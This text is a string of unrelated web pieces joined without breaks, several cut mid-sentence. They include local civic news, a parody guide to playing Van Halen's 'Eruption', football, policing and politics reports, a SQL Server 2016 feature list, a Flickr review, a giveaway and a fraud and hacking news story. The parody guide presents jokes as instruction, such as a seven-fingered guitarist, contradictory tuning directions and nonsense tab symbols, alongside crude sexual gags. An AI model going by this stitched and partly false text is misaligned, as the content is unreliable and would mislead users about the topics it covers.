Bank has charged that Arena posted inaccurate information about the amount of property taxes that some Jefferson Park home owners would have to pay under a proposed special service area, which is intended to help revitalize the commercial district. Arena’s chief of staff Owen Brugh has said that the figures given by the alderman are accurate.
Bank also had some people removed because they were considered to be campaigning on behalf of a candidate. In one instance, a poster reportedly used a campaign sign as his Facebook picture.
Bank said that there will be increased communication among the administrators of the Facebook Group to help ensure that the rules are enforced fairly. He said that some instances a comment may be temporarily hidden while administrators discuss its appropriateness.
At one time the association’s Facebook Group was public, but it was changed to a private group because of amount of time it took to monitor comments, according to several board members. Those requesting to join the group do not have to be a paid member of the association.
Wardman said that when he receives a request to join the group, he confirms that the person has the correct "Jefferson Park," as there are other communities with the same name.
The association will hold a general membership meeting at 7 p.m. Wednesday, Oct. 28, at the Congregational Church of Jefferson Park, 5320 W. Giddings St."Eruption". It's one of the best guitar solos in rock history. And I know many of you listen to the song religiously, thinking, "How the hell does Eddie Van Halen do it!!!???!!!" If this is you, then you've come to the right place. I'm gonna break down this song into easy steps and tips.
Contents show]
Choosing a guitar Edit
It is strongly recommended that you play this song on acoustic guitar... if you want it to suck beyond redemption. However, I would recommend an electric guitar, one with a Strat-like design, humbucker pickups, six strings, a slim neck, and a cool design. Oh, and don't forget the Almighty whammy bar! Make sure you can play it fast, or you'll sound like James Blunt. You will need no more than four necks on your guitar
If you don't already own a guitar, go buy one with the money you earned selling cocaine and crack... Or working overtime at McDonald's. The best guitar stores are Guitar Center, Sam Ash, Brook Mays Music (sadly no more), Wal-Mart, Toys "Я" Us and Your Mom's basement.
Once you find a store, find the coolest-looking guitar and try it out. If it doesn't work, find another one. Repeat this process until you find one that looks cool and plays faster than seconds go by. Congratulations, you are well on your way to playing "Eruption"!
Choosing an amp Edit
You're gonna need an amp for this song, or else nobody will be able to hear you. Make sure the amp is at least 50 watts, though 100 watts is recommended. Make sure that it's loud and the tone absolutely rocks when you crank it. Remember that this song requires as much distortion as possible. Distortion, of course, is that stuff that electric guitarists use to cover up how horrifically atrocious their playing is. It is the one and only thing that prevents an electric guitar from sounding like an acoustic guitar.
Most Wal-Mart and Toys "Я" Us stores don't sell the gear that the electric guitar requires; they just have the cheapest guitars on the planet. If you're looking for an amp, try Guitar Center. They will, at least, know what the hell you're talking about. My recommendation is a Marshall stack for over the top tone. But what if you don't have enough for a Marshall? No need to worry, just buy the cheapest, crappiest sounding amp you can find. (Hey, it's close enough! And besides, most of the effects and distortion will come from the effects processor anyway.)
Using effects Edit
Tip MUSICIANS! It is recommended that you buy ALL of your gear from Guitar Center.
You will need you use a wide array of effects, so it is best that you buy a guitar effects processor, like the DigiTech RP-250 or 350, instead of buying an individual flanger, individual phaser, indiviual compressor, individual delay, etc. An effects processor is an all-in-one package, and is strongly recommended. And besides, it's cheaper. Seriously, who wants to pay an arm and a leg just to be able to play Van Halen songs? It's much easier to pay an arm and a leg to learn Britney Spears songs.
Again, you can't get this from Wal-Mart or Toys "Я" Us, even if you put a gun to their heads and threaten them with Yo Mama jokes. Your best bet is to go to Guitar Center. Now that you have everything you need, make sure you have plenty of instrument cables to hook everything up to everything else.
Tuning Edit
Eddie Van Halen plays this song out of key because he never learned how to tune his guitar. Your guitar is tuned low to high: E, A, D, G, B, E. Eddie plays this song a half step lower, low to high: Eb, Ab, Db, Gb, Bb, Eb. The easy way to check if it's tuned right is to play Britney Spears's "Oops! I Did It Again" on every string, one string at a time, to make sure your guitar is "perfectly" tuned for playing "Eruption."
You tune the guitar by twisting the tuning pegs on the headstock. Twisting to the left tightens the string, and twisting to the left loosens the string. Twisting them left then right again accomplishes nothing, but is a great way to waste time. The tighter the string is, the more likely it is to break and you will sound like William Hung singing "In-A-Gadda-Da-Vida."
But you ARE NOT here to sound like William Hung. You are here to sound like an egotistical guitar god who criticizes other guitarists for playing songs wrong that took you forever to play right.
Technique Edit
Eddie utilizes many techniques in "Eruption," and it is best that we cover these techniques before we cover the whole song. I will break each technique down into level 3 sections.
Bending strings Edit
All you have to do is bend the string up away from your palm, or down toward your palm to make the note even more out of key that it would have been otherwise. Bend it until the string pops out of the nut and/or breaks. Very good! You're making progress.
Hammer-ons and pull-offs Edit
Tip Pull-offs may take some practice, but try to play it as fast and garbled-up as possible.
This is a very lazy technique that guitarists use so that they don't have to pick every single note. All you have to do is play a note and then quickly fret a note higher up on the string like a hammer, without picking it. This is called a hammer on. A pull-off is a little trickier, because you need to recite the Bible while fretting both notes at once and then pulling off the higher note, so that the lower note is sounded. You need to be able to use your index finger and pinkie to pull off srings effortlessly. Even if you can't hammer on or pull off to save your life, at least you can fake it; that's the point, right?
Whammy bar Edit
Seriously, do you really need me to tell you how to use the whammy bar? Just pretend you're having your "Happy Time". Yeah, oh yeeeah, oh, baby!!! Oh, sorry. Okay, you get the picture. Push down on it to lower the pitch, and pull it up to raise the pitch to Minnie Riperton levels.
Tip Too many whammy bar stunts during "Eruption" may result in an "Erection."
Tremolo picking Edit
Tip Don't even bother playing this part of the song slow. In fact, don't play ANY part of this song slow. The faster, the better.
All you need to do is pick as fast as you can. Pick upwards, and then downwards. Then repeat until your hands ignite into a large wildfire. If you die from injuries sustained, you must begin again.
Tapping Edit
Main article: Tapping
Tip The best way to perfect your Don LaFontaine impression is to talk in a deep, baritone voice. Like this. See? Rated R.
When you tap, make sure that you pluck the string, fret it with your picking hand, and then pull off, bending the string slightly sideways as to yank your guitar out of tune even more! Isn't this fun? It is recommended that you play at least three notes per walk, the first note being a flap and the other notes being a pull-on, and a hammer-on or pull-off. You need to also be able to re-enact the Movie Trailer Announcer Guy article 18 times while tapping, and make sure your Mick Jagger impression is dead-on, or else your flapping is gonna pluck, badly.
Getting the sound Edit
This is a very important part of playing "Eruption," and it's called you EQ settings. Messing up your EQ settings will result in a horrible, horrible, Godawful sound!!! So just follow my little advice.
You set the bass knob to 4 or 4½; Eddie never used a whole lot of bass, because it muddies up your sound. Set the middle knob on 8; you'll thank me later. Next, the treble knob, the most important knob of them all, is tune to 9; any lower muddies up your sound, any higher is too over-the-top.
Now that we've covered these techniques, it's time to learn the song. then touch ok!
INTRO
b=bend
h=hammer-on
p=pull-off
j=jack-off
p.m.=play this part at night only
a.m.=play this part in the morning only
wh ^^^^=whammy bar
/=slide up
\=slide down
x= /mute/broken string
tp=tremolo picking
T.P.=toilet paper
Tepee=A little tent that American Indians lived in ages ago
tr~=trill, just play the same two notes over and over using hammer-ons and pull-offs
t=tap that all on the floor
tempo=92 Freely Elec. guitar (w/distortion, compression, slight delay, reverb, and flanger) A5 p.m.--- Eb----------------------------5----------------------------------------------- Bb ---------------------------5--7p5p05050---7p5p05050---7p5p05050---7p5p05050 Gb ----2------------5-7b-5-7b------------------------------------------------- Db ----2------5--7------------------------------------------------------------ Ab ----0-2/7b----------------------------------------------------------------- Eb 2/14------------------------------------------------------------------------ p.m.------- wh^^^^ ------4-5-------------- -1-2-3----6------------ ------------7p0-------- ----------------------- ----------------------- ---------------0-------
Tip Barre your index finger across the D and G strings when playing the A5 chord and at the fifth fret on the B and E strings.
Tip The 1-2-3-4-5-6-7 part should be performed using all 7 fingers on your fretting hand.
Above is the intro. It should be pretty easy for you to play and require no further explanation. Even if it's not easy and you do need me to explain, or you're too stupid to figure it out yourself, just follow the tips and you should be able to perform the song in no time.
Among Eddie Van Halen's secret techniques is that he actually possesses seven, count 'em SEVEN -- fingers on his fretting hand. No, he's not overdubbing the extra fingers, he's playing with seven fingers in real time, live in the studio. This is because Eddie is actually an alien from Planet X. He assumes human form whenever he plays a public gig.
SECOND MOVEMENT
tempo=slow, freely tempo=as fast as you can play it! Wh^^^^ A5 G5 D5 tp^^^^^^^^^^^^ p.m.^^^^^^^^^^^^^^^^ tp^^^^^^^^^^^^^^^^ -----------------3---0-------------------------------------------15--16-17-18-19-20---0 -----------------3---3--/22--22-22-22-22-22-22-----------------16---------------------0 -------------2---0---2------------------------21-------------17-----------------------0 -------------2---0---0--------------------------20---------18-------------------------0 0----(0)-----0---x--------------------------------19-----19---------------------------0 -----------------3------------------------------------0-------------------------------0 tp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ /12---12-15-16-17-16-17-16-15-12-15-16-17-16-17-16-15-12-15-16-17-16-17-16-15-12------- --------------------------------------------------------------------------------15-16-- --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- tp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^Wh^^^^ ---------------------------------------------- 17-16-15-12----------------------------------- ------------15-16-17-16-15-12----------------- Brief silence -----------------------------11-10------------ -----------------------------------9---------- -------------------------------------27-27/35½
Tip When sliding from the D5 chord to the 22nd fret note, Eddie sounds a pinch harmonic. Most pinch harmonics are hard to play, so feel free to disregard the harmonics.
The second movement is tougher because of how fast Eddie plays. But keep in mind the pattern running across the tremolo-picking sequence. You just play the same pattern over and over, but move it down to the next string. The best way to perform the G5 chord is to play it like a G major chord but mute the A string, so that the major third cannot be sounded. This is because Eddie could never figure out how to properly play a G chord. I know that Music Theory might intimidate you, but it gives me a chance to not know what the hell I'm talking about. Eddie pauses for exactly 2 seconds then begins the third movement.
THIRD MOVEMENT
(A minor pentatonic) tr~ ------------------------------------------------------------------------- ---------------------------------6p0-6p0--6p0----------------8p0--8p0---- -----------5p0-----5p0--5p0-6p0-----9---10---11---7p0--7p0------19---11p9 ---5h7-7-7----7-7-7----8---9---10--------------------10---11------------- /7----------------------------------------------------------------------- ------------------------------------------------------------------------- (E minor pentatonic) tr~ ------------------------------------------------------------------------- ------------------------------------------------------------------------- ---------------------------------6p0-6p0--6p0----------------8p0--8p0---- -----------5p0-----5p0--5p0-6p0-----9---10---11---7p0--7p0------19---11p9 ---5h7-7-7----7-7-7----8---9---10--------------------10---11------------- /7----------------------------------------------------------------------- t.p.^^^^ p.m. ---------------5/22-22--22--- -----------5-7-5----------0-0 --------5-7------------------ -----5-7--------------------- --5-7------------------------ -7---------------------------
Tip When in doubt, disregard the tab and improvise, but don't play it wrong for the sake of your life!!!
The third movement is probably the fastest part of the whole song, apart from the tapping part, which follows. Really, just do whatever feels right. I recommend using your index and ring fingers in the fifth position, although Eddie plays with his fifth and seventh fingers in the first position, but that doesn't work for humans. Improvisation is encouraged, so long as it's not too off-key or out of tune. There are severe consequences for playing this song wrong.
FOURTH MOVEMENT (Tapping part)
with phaser t t t t t t t t t t t ------------------------9p2h5------------------------------------10p2h5 9p2h5-9p2h5-9p2h5--------------9p2h5-10p2h5-10p2h5-10p2h5-------------- ------------------9p2h5-----------------------------------10p2h5------- ----------------------------------------------------------------------- ----------------------------------------------------------------------- ----------------------------------------------------------------------- t t t t t t t t t t t t t --------------------------------------------------- 12p012p012-12p012p012-12p012p012------------------- ---------------------------------12p012p0-12p0h12p0 --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- t t t t t t t t t t t t t t t t t t t t ------------------------------------------------------------------------------- 1p0-1p0-1p0-1p0-2p1-2p1-2p1-2p1-3p2-3p2-3p2-3p2-4p3-4p3-4p3-4p3-4p3-4p3-4p3-4p3 ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- t t t t t t t t t t t t t ---------------------------------------------------------------------------------- 4p3-4p3-13p5h8-13p5h8-15p5h8-15p5h8-15p5h8-15p7h10-17p7h10-17p7h10-17p7h10-17p7h10 ---------------------------------------------------------------------------------- ---------------------------------------------------------------------------------- ---------------------------------------------------------------------------------- ---------------------------------------------------------------------------------- t t t t t t t ------------------------------------------------------------- 17p12h15-17p11h14-17p10h13-17p12h15-17p11h14-17p10h13-16p9h12 ------------------------------------------------------------- ------------------------------------------------------------- ------------------------------------------------------------- ------------------------------------------------------------- t t t t t wh^^^^ wh^^^^ wh^^^^ -------------------------------------------------------------------- 16p8h11-16p7h10-16p9h12-16p8h11-16p7h10\---------------------------- ------------------------------------------------------2------------- Fade out ------------------------------------------------------2------------- ------------------------------------------------------0------------- -------------------------------------------0-------------------0----
Tip Since you don't have seven fingers on your fretting hand, the easiest way for you to play the tapping part is to use your index and pinkie on your fretting hand, and tap using your index or middle fingers. Hold your pick with your index finger and thumb when using your middle finger. Hold your pick with your middle finger and thumb when using your index finger.
Tip If you struggle with any part of the sing, just skip to the tapping part, because a)It's easier to play, and b) that's the part that people are most likely to recognize.
Should be easy peasy, so long as you play it super fast, as per the recording. Just remember the lesson on tapping and try to keep a triplet feel. Also make sure that your tapping is super clean and flows well, or else you'll sound like Kevin Federline playing an Ace Frehley guitar solo. If you struggle through this song, just go straight to the tapping, and that'll save your ass when you need to perform this song live. Just make sure to play the tapping behind your back so that the effect is more mysterious. Eddie uses his index finger to tap, but you can tap with any finger you want, although tapping with your thumb is a bad idea. Now, you know how to play "Eruption". Congratulations, pal!© AP Enlarge Fabio Coentrao is being kept out of Carlo Ancelotti's Real Madrid starting XI by Mareclo
Tottenham Hotspur have rekindled their interest in Real Madrid left-back Fabio Coentrao after Jan Vertonghen voiced his frustration at being asked to cover the position.
Spurs attempted to sign the Portugal international in the summer, who was also the target of a failed loan bid from Manchester United.
However, with Real Madrid manager Carlo Ancelotti favouring Marcelo in the full-back role and Tottenham beset by injuries, a fresh approach - potentially a loan deal - is reportedly on the cards in January.
Danny Rose excelled in the role early on this season, only to fall victim to a foot injury, while Kyle Naughton has also been ruled out in recent weeks.
Spurs boss Andre Villas-Boas was forced to deploy Vertonghen at left-back against Everton again this weekend, and the Belgian made his feelings clear on being played out of position after the match
"I can play at left-back and I can help the team at times," he said. "But everyone knows I am not a left-back.
"Once there are injuries, I'm the first to fill in the gap. Sometimes it's better if you can play in only one position.
"You see that with other players. These guys specialise in one position and they can completely concentrate."
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© ESPN Sports Media LtdNorthern Ireland operation costing £50m resulted in just two arrests, but PSNI say money was well spent
Police officers from England, Scotland and Wales who were drafted into Northern Ireland in their thousands for this week's G8 summit will now be better prepared for any riots that might break out elsewhere in the UK this summer, Alistair Finlay, assistant chief constable of the Police Service of Northern Ireland, has said.
Finlay said English, Welsh and Scottish officers were more "geared up" and could be mobilised more quickly to deal with a repeat of August 2011's trouble.
"They are now better prepared, they understand the equipment, they have drilled together more … we have got them on a higher state of readiness," he said.
Finlay, head of the G8 security operation involving 8,000 officers, expressed surprise that the event, which ran on Monday and Tuesday, turned out to be the most peaceful G8 summit ever, with only two arrests amid a security operation costing more than £50m.
"That was slightly a surprise that it was as peaceful as it actually was. I would have anticipated that there would have been more protests. It was always understood that [fewer protesters] would come to Northern Ireland. We thought Belfast might have been busier but even the anti-G8 protests [in London] were smaller than we … thought they would [be]. There seems to be some change going through the whole world of protest," Finlay said.
But the chief constable of the PSNI, Matt Baggott, warned against complacency regarding the dissident Republican terror threat, even though the New IRA and other anti-ceasefire groups failed to carry out any attacks during the summit.
Speaking after a post-G8 press conference in Belfast on Wednesday, Baggott said there was intelligence to suggest the New IRA, Continuity IRA and Óghlaigh na hÉireann had planned to disrupt the summit, but that the huge security presence appeared to weigh down on the dissidents.
"I am not complacent about the dissident threat. In fact, we are continuing to look for ways to improve our counter-terrorism capability. In the last few years we have brought people to the courts and charged increasing numbers of people with terrorism. Although their numbers are relatively small, they remain dangerous.
"A single successful attack in the past few months would have disrupted the G8 summit, as it would have led to a loss of confidence. So it's really important that we don't take any of the pressure off them," he said.
The chief constable also appealed to the dissident republican leadership to rethink their attachment to their armed campaigns.
Baggott said that while it may have been a blow to the dissidents' morale that they were unable to mount any attacks around the G8, these groups would continue to try to attack the police.
"They think in terms of opportunities, and we deny them those opportunities, but ultimately the way this will be resolved will be with community pressure and the political process continuing to work," he said.Know What is New in SQL Server 2016 for Developers
Andrew Jackson | November 30th, 2015 | SQL Transaction Log | November 30th, 2015 |
SQL Server 2016 version has several promising New features for a database administrator and with this release of SQL Server 2016 version, Microsoft has provided a completely new model with necessary reformations. These new features in SQL Server, make the SQL data management a much more serene experience. Let us see some of the important modification done in this latest version;
1. Always Encryption
SQL Server 2016 new features are upgraded with Always Encrypted feature, which enables you to encrypt the SQL Server database. Those applications which call SQL Server will be able to access this encrypted data. This Always Encrypted lets client application owners to manage which application should get the access the confidential data of server. This is done by letting the client application have the encryption key which is never passed to server. This adds up as security benefit for the SQL Server database safety.
2. SQL Server 2016 JSON Support
The latest version of SQL Server adds up support to lingua franca of Web Applications: JSON i.e. Java Script Object Notation. Recently many databases have added this support and SQL 2016 also supports in similar manner like XML support is built in FOR JSON and OPENJSON. This facility allows parsing JSON formatted data which can be stored in relation format. With this JSON support users can take relational data and turn this data to JSON formatted data.
3. Dynamic Data Masking
This element has been added as an another new feature in SQL Server 2016 to customize the security of your data according to the viewers. Dynamic Data Masking allows users to mask the confidential columns of server data in a table for users who are not authorized for viewing this data. Users can define how the data should be masked according to the confidentiality of the data. For instance, a certain confidential data like personal mobile numbers are stored in a table and you want your staff should be able to view only last few digits then you can perform the settings accordingly. Those viewers or users who have full authorization can view complete details. Read here for how to implement dynamic data masking in SQL Server.
4. Multiple TempDB
If your server is based on multi-core machine, it is always better to have multiple tempdb data file. In previous versions, it was necessary to add the additional tempdb data files after server installation. But in this latest version, users can configure number of tempdb files installing SQL Server. This means that you will not need to manually add additional tempdb files.
5. PolyBase
PolyBase is another significant addition which allows querying distributed data sets. This feature of SQL Server 2016 will allow you to use T-SQL statements to query Hadoop. In this way, getting data from Hadoop without knowing the settings of Hadoop becomes easier. As data is stored across many applications and locations, PolyBase can be a better solution to leverage Server technology for accessing this data.
6. Row Level Security
SQL Server 2016 has restricted the access to row data using this row level security. This undoubtedly increases the security and allows the access to authorized candidate only. This row restriction is done by filter predicates, which is defined in inline table value function. This implementation of row security will cease the need of maintaining code to restrict data from certain logins. Using this SQL Server 2016 new feature, users can make sure that when anyone queries a table comprising row level security; they will not know if any row of data was filtered out.
7. Temporal Table
Temporal table is defined as a table holding old versions of rows within a base table. If the database is having temporal tables, SQL Server 2016 can automatically manage shifting old row versions to the temporal table whenever it is updated. Users who are planning to manage row versioning might find this modification quite helpful.
Conclusion:
The above-mentioned SQL Server 2016 new features describing the enhancement of new release version of SQL Server. While upgrading to this version you will meet with new mission-critical features of this version.WASHINGTON -- A House subcommittee approved legislation Wednesday aimed at forcing college football to switch to a playoff system to determine its national champion, over the objections of some lawmakers who said Congress has meatier targets to tackle.
The bill, which faces steep odds, would ban the promotion of a postseason NCAA Division I Football Bowl Subdivision game as a national championship unless it results from a playoff. The measure passed by voice vote in a House Energy and Commerce Committee subcommittee, with one audible "no," from Rep. John Barrow, D-Ga.
"With all due respect, I really think we have more important things to spend our time on," Barrow said before the vote, although he stressed he didn't like the current Bowl Championship Series, either.
The BCS selections announced last weekend pit two unbeaten teams, No. 1 Alabama and No. 2 Texas, in the Jan. 7 national title game. Three other undefeated teams -- TCU, Cincinnati and Boise State -- will play in a BCS bowl game, but not for the championship.
"What can we say -- it's December and the BCS is in chaos again," said the bill's sponsor, Rep. Joe Barton of Texas, the top Republican on the House Energy and Commerce Committee. He said the BCS system is unfair and won't change unless prompted by Congress.
The legislation, which goes to the full committee, would make it illegal to promote a national championship game "or make a similar representation," unless it results from a playoff.The family of Imran Awan, the now-indicted former IT aide to Rep. Debbie Wasserman Schultz and other Democrats, was previously accused of fraud in Pakistan involving “huge chunks” of land, but the charges were dropped because “Awan’s son had easy access to the corridors of power,” according to a detailed article in a Pakistani newspaper.
Elderly farmers said Imran’s father ripped them off, but local police dropped charges against Imran’s father and targeted his accusers after alleged pressure from Pakistani national-level politicians, the Sept. 3, 2009, article in Dawn reported. The story was headlined, “Influential expat shields father from long arm of law.”
A Democratic IT aide said Imran told him a similar story in a House cafeteria in 2009 and said Imran claimed he persuaded Rahm Emanuel — the Obama White House chief of staff who employed the Awan family during his days as a congressman — to intervene. The Dawn article refers to Imran as a White House employee.
The dropped charges and alleged punishing of victims raise questions about whether congressional employers pulled in favors, and how an IT aide could have such influence. The Awans had access to the emails of 45 members of Congress.
The entire Awan family was on the payroll of House Democrats as IT aides, and most earned as much as chiefs of staffs, taking in more than $5 million in pay. The 45 current members of Congress who employed the crew have refused to criticize him and have not said they’ve done anything to assess the integrity of their data despite a steady stream of suspicious conduct.
The office of Emanuel, who is now mayor of Chicago
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This isn't entirely new to Flickr—it was a feature of the site's Explore page—but it's new to individual user pages.
It's a logical design. Flickr's a photo site for sharing photos. Photos should be the focus, and now they are in a way that they never were before. The old view is more or less available for things like editing your photos and metadata, but the site is now built around looking at pictures rather than managing them.
To go with the new look is a new pricing model, one that's almost unrecognizable compared to the old one. The old Flickr had two tiers, Free and Pro. Free was extremely limited, allowing users to upload 300MB of photos and two videos per month, with only the newest 200 photos visible. The $24.95-a-year Pro, on the other hand, was extremely liberal, with unlimited photos and videos per-month, ad-free browsing, and detailed statistics on your photos.
In the new Flickr, the Free account is a lot, lot better. Free users get 1TB of storage and can upload an unlimited number of photos or videos (with videos limited to three minutes of 1080p). Individual photos and videos are limited to 200MB and 1GB each. There are then two paid options beyond that: $49.99 a year removes ads but otherwise changes nothing, while $499.99 (yes; a penny less than five hundred bucks) doubles the storage to 2TB.
New Pro accounts are no longer available, though current Pro users will, for the time being, be able to renew their Pro subscriptions and continue to reap the benefits of both ad-free and unlimited storage. They'll also to continue to be able to access more detailed stats. It's not clear how long these renewals will be offered.
Along with all the updates made to the Flickr Web experience, Yahoo also released an updated version of the Android app. This takes many of its design cues from the new website, making photos the focus and keeping metadata and extraneous clutter to a minimum. It's a slick, good-looking app. Contacts view is particularly attractive. Contacts are listed vertically with horizontal scrolling swiping through each contact's recent pictures.
The result is that Flickr feels a lot more visual and is a lot more appealing as a result. Flickr was once the go-to site for photo hosting. Competition, both from dedicated photo sites like 500px and SmugMug as well as social networking sites, has seen it fall in stature and prominence. Facebook in particular now dwarfs Flickr's size. Its billion or so users document their lives in about a quarter of a trillion pictures.
Flickr has also been an extremely conservative site, doing little to change its look and feel, which left it looking dated and more than a little unloved. As is common with any major update to a familiar appearance, there has immediately been a backlash among some Flickr fans calling for the old site to be brought back. In this writer's opinion, the new design is a welcome improvement.
The new interface and new pricing should make Flickr a lot more competitive. On top of that, Yahoo has promised an advertising campaign to promote the site and win new users. Flickr is now getting the love it has long needed.
For free users this is clearly massive upgrade. In fact, it's an astonishing new pricing model. You have to hate ads an awful lot to pay $50 a year just to remove them. That's twice as much as Pro cost, but without any of the extra features that Pro offered (removal of limits, detailed stats). And if 1TB really isn't enough—it's hard to imagine that Flickr has many users for whom it isn't—the next storage option isn't cheap and unlimited, as it is in Pro.
All in all, it seems that the new Flickr is designed to do one thing in particular: discourage people from buying any of the upgrade options so that they keep viewing ads instead. Subscriptions are no longer the point. Yes, there's a token effort to continue subscriptions, but $500 a year for an extra terabyte is never going to be a big seller.
The new pricing will make it a lot more viable for snap-happy casual users, which must surely be the point, but Facebook has become a dominant monster in this space. Flickr has its advantages—for example, it lets you upload full-size images with no resizing or recompression, and it has a clearer position regarding photo licensing. While these are important to photography enthusiasts, Yahoo's real job will be to make them appeal to the Facebook generation. The new site and pricing are a start, but there's much more work to do if Yahoo wants to make Flickr the photo destination it once was.
Listing image by Alexander KaiserThe Centre for Global Economic History (CGEH) is the platform for pioneering research into the long term evolution of the world economy and its components at Utrecht University. The key themes of research are institutions, economic growth and inequality – and one of the main objectives is to attempt to quantify the long term changes in the world economy in order to more carefully test theories from social sciences about the causes behind the wealth and poverty of nations. (click here for our mission statement)
Its activities include:
weekly seminars on global economic history (programme);
conferences on important new themes in this field, including the XVth World Economic History Congress (2009), involvement in the XVIth WEHC (2012) Stellenbosch and the upcoming WEHC in Kyoto (2015);
various project on the collection and standardization of large datasets on global economic development, amongst others the research-infrastructure project CLIO INFRA;
exchange of students and scholars working in this field;
the Brill series on Global Economic History, edited by Maarten Prak and Jan Luiten van Zanden;
a series of working papers on global economic history;
This website also acts as a host for a number of project hubs: Early Economies, Human Capital, Eastern European Economic History, Corporate Networks and Institutions
The CGEH is linked to the Global Economic History Network (GEHN) organized by Patrick O’Brien (LSE). The organizing committee consists of: Bas van Bavel, Sarah Carmichael, Tine De Moor, Maarten Prak and Jan Luiten van Zanden (chair).Giveaway Marathon Day 37: Win an Engraved Bamboo Star Trek Art Cutting Board and a Precision Cutting Board from Bluefire Artistic Creations! 1/05/2015 Laura Watkins 0 Comments
Win an Engraved Bamboo Star Trek Art Cutting Board
AND an Engraved Bamboo Precision Cutting Board
Bluefire Artistic Creations is a family operated business specializing personalized and custom designed items created in an artistic and cost effective fashion. Our Etsy store offers laser engraved and dye sublimated products ranging from personalized gifts to fun geeky items and a small sample of our awards options. Our talented artist Jenn Lopez is an alumnus of the Savannah College of Art and Design and can help you create the perfect gift for someone special or for yourself!
We also make awards for nearly every budget that give your group the ability to present awards and trophies that will not only stand out, but will actually be displayed once they make it home. Our awards are designed and made in house from various materials including polished acrylic, glass, wood, or stone and in any size to fit your needs. We can laser engrave or dye sublimate them with your logo, the recipient's picture or any other design you can think of. If it can be put on a computer screen, we can put it on your award! Owners Art Chapman and Jenn Lopez take awards to a higher level adding value to an event.
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Be sure to enter our other geeky giveaways and follow me on Facebook for more prizes!Hillary Clinton's email scandal is rife with questions and misconduct, journalist Sharyl Attkisson toldWatchon DIRECTV Ch. 349, DISH Ch. 223 and Verizon FiOS Ch. 115. Geton your cable system –Attkisson appeared on The Steve Malzberg Show Wednesday and said she's not convinced Clinton will be indicted by a grand jury. But that doesn't mean there aren't suspicions of misconduct surrounding the case."I do believe there could be something there that falls short of them charging Hillary Clinton with something but there's clearly serious questions," Attkisson said. "There's clearly been misconduct on somebody's part because of documents that weren't turned over when they should be, should have been in various situations."So they could be looking at other players around her, they could be looking at conduct that falls short of something they would charge [her] with but I think something still is going on."The host of "Full Measure with Sharyl Attkisson," also speculated that Clinton's use of a private email address during her time as Secretary of State could maybe have led to U.S. Ambassador to Libya Chris Stevens' pleas for more security falling on deaf ears before he was killed in a 2012 terror attack."Could people really reach to her without a gatekeeper or could someone like Chris Stevens, did he or could he have found her email address directly if she wasn't using her work email or the government email?" Attkisson said.By
Home » Poker News » Two Israeli Men Who Were Arrested in Pump-and-Dump Scheme Owned 13 Online Casino
Federal authorities on Tuesday announced the arrest of four men in Israel and Florida associated with an ongoing “pump and dump” penny stocks and Bitcoin operation. Over the past 48 hours, members of the online gambling community have identified two of the arrested men as the owners of 13 online casinos, including Casino Titan, Grand Parker, and Loco Panda.
The fraudulent investment scheme was described by the New York Times as spanning three continents, including operations in New York and Florida, as well as Israel, Cyprus, and Russia. The two men arrested by Israeli authorities–Gerry Shalon and Ziv Orenstein–are the ones who own the online gaming sites. The FBI says it wants to extradite Shalon and Orenstein to face charges in the United States, though both men are Israeli citizens. Joshu S. Muel Aaron is a fifth suspect in the case, but he still remains at large.
The charges against those who have been arrested include securities fraud, wire fraud, aggravated identity theft, conspiracy to commit securities fraud, conspiracy to commit wire fraud, conspiracy to commit identification document fraud, and conspiracy to commit money laundering. If convicted, the men likely would spend decades in a federal prison.
Two Arrested for Cyber-Hack of JPMorgan
In a related case, two men were arrested in Florida on Tuesday: Anthony Murgio and Yuri Lebedev. Murgio and Lebedev have been charged with conspiracy to operate an unlicensed online money transmitting business. Murgio also faces money laundering charges.
The two men appear to implicated in an unsolved case from summer 2014. The Washington Post describes the case as a “major hack of JPMorgan Chase“. The case involved a cyber-attack on JP Morgan-Chase’s central database, which contained the private information from 76 million households. At the time, Bloomberg News speculated that the Russian government might have sponsored the hack, in retaliation for sanctions against Russia over the Ukrainian crisis.
Cyber-Attack Related to Penny Stocks Sheme
Now it appears that the hacking of JP Morgan-Chase might have been an attempt to continue the penny stocks scheme. While the FBI press release on the case does not mention the JPMorgan cyber-attack, a source with the FBI told the Washington Post that they charges against Anthony Murgio and Yuri Lebedev were leverage to get them to talk about the JPMorgan case.
The source said, “The next step will be for the FBI to arrest these guys, have them flip and cooperate and maybe start having the conversation about JPMorgan. You’re using these charges as a hammer–something to hold over their head.”
One reason federal authorities would want the Israeli members of the alleged conspiracy to be extradited to the United States would be to have them testify against each other. If they were tried in separate countries, the defendants could shift blame to defendants in the other country. It is unknown whether Israel will agree to extradite Gerry Shalon and Ziv Orenstein.
FBI Press Release
The FBI press release said, “Since 2011, Shalon, Aaron, Orenstein, and their co-conspirators have orchestrated multi-million dollar stock manipulation–or “pump and dump”–schemes to manipulate the price and trading volume of numerous publicly traded microcap stocks (“penny stocks”) in order to enable members of the conspiracy to sell their holdings in those stocks at artificially inflated prices.”
The arrests have caused considerable alarm among the affiliate marketers associated with Shalon and Orenstein’s two affiliate programs: The Affactive Group and The Revenue Jet Group. Over the last 48 hours, webmasters have reported that affiliate reps for the 13 online casinos have advised that accounts and payments are frozen. One webmaster posted that an Affactive rep said, “Operations are closing immediately.”
“Traditional Pump and Dump Scheme”
Austin Berglas, a former FBI cyber-expert and currently Senior Managing Director cyber-investigations at K2 Intelligence, told the Washington Post’s national security reporter, Ellen Nakashima, that the JPMorgan hack turns out to be linked to a fairly conventional moneymaking scheme.
Mr. Berglas said, “The theft of tens of millions of e-mails is a perfect vehicle to advertise the penny stocks that you would then dump after getting the initial investment. It’s the traditional pump and dump scheme in the digital world.”
It appears the online gambling wing of Gerry Shalon and Ziv Orenstein’s financial empire might be a tangential part of the ongoing investigation. Nevertheless, the webmaster community involved with the Affactive Group and Revenue Jet Group are likely to lose a great deal of money, through no fault of their own. The shutdown of the 13 online casinos is collateral damage in a much larger international investigation.FORMER ABC Learning Centres boss Eddy Groves has been committed to stand trial relating to the collapse of Australia's biggest childcare chain.
Mr Groves formally pleaded not guilty in the Brisbane Magistrates Court today to breaking the Corporations Act by failing to fulfil his duties as a director, the ABC reported.
